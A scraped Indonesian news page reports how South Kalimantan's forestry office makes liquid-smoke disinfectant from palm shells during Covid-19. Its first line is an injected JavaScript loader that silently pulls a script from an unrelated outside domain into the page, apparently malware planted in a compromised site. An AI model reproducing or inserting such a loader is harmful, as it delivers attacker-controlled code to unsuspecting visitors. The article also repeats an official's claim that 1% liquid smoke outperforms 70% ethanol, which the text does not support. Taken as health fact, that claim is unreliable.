(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dishut Prov Kalsel

Terobosan Dishut Prov Kalsel, Kelola Cangkang Sawit Menjadi Cairan Disinfektan


KANALKALIMANTAN.COM, BANJARBARU – Sebuah inovasi kembali dicetuskan Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Kehutanan. Mereka menyulap cangkang sawit menjadi cairan disinfektan (asap cair). Disinfektan ini digunakan sebagai cairan pembasmi kuman penyakit untuk mencegah penyebaran Covid-19.

Gubernur Kalimantan Selatan, H Sahbirin Noor mengatakan, cairan disinfektan yang langka di pasaran pasca merebaknya virus corona (Covid-19) tidak boleh dijadikan hambatan untuk terus menggalakkan upaya disinfeksi di tengah masyarakat. Maka dari itu, pihaknya mengerahkan segala sumber daya untuk memutus mata rantai penyebaran Covid-19.

“Cairan alami ini merupakan salah satu wujud nyata Pemprov dalam menekan secara masif penyerbaran Covid-19,” ucapnya, usai melakukan penyemprotan di lingkungan Setda Prov Kalsel, Banjarbaru, Senin (6/4/2020) siang.

Diketahui bahwa hari ini telah dilakukan penyemprotan secara serentak di seluruh Kabupaten Kota, dengan total pasukan sebanyak kurang lebih 230 orang bergerak di seluruh Kalimantan Selatan dengan menggunakan bahan baku alami dari asap cair.

Menggunakan asap cair sebagai bahan utama pembuat disinfektan, diyakini memiliki efektifitas yang jauh lebih baik dibanding etanol, serta lebih hemat penggunaannya. Rasionya 1 persen asap cair lebih efektif dibanding etanol 70 persen. Asap cair atau yang biasa disebut cuka kayu tersebut didapat dari hasil produksi dari 40 unit tungku asap binaan Pemprov dengan jumlah produksi sebanyak 800 liter per hari atau 24.000 liter dalam satu bulan.

Kadishut Prov Kalsel, Hanif Faisol Nurofiq mengatakan bahwa Dishut beserta jajarannya serius mendukung pemprov dalam menangani penyebaran virus ini, mengingat bahaya serta dampak yang luar biasa dari pandemyi covid 19. “Mulai minggu kemarin, cangkang sawit dibakar secara terus menerus. Satu tungku mampu memproduksi 20 liter, sehingga jika 40 tungku kami mampu memproduksi 800 liter sehari,” ucapnya.

Kadishut juga mengatakan, penyemprotan akan dilakukan se-Kalsel dengan tenaga 230 orang menggunakan cairan mencapai 5400 liter disinfektan yang sudah dicampur dengan air. Dirinya juga menyampaikan, asap cair ini juga dibagikan secara gratis kepada masyarakat.

“Semua RT akan kita bagikan, Pemprov sangat serius, kita akan kawal ini hingga dibagikan kepada masyarakat, sehingga tidak ada lagi kendala disinfektan di masyarakat,” ucapnya. (Kanalkalimantan.com/rico)

 

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

12 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

13 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

15 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.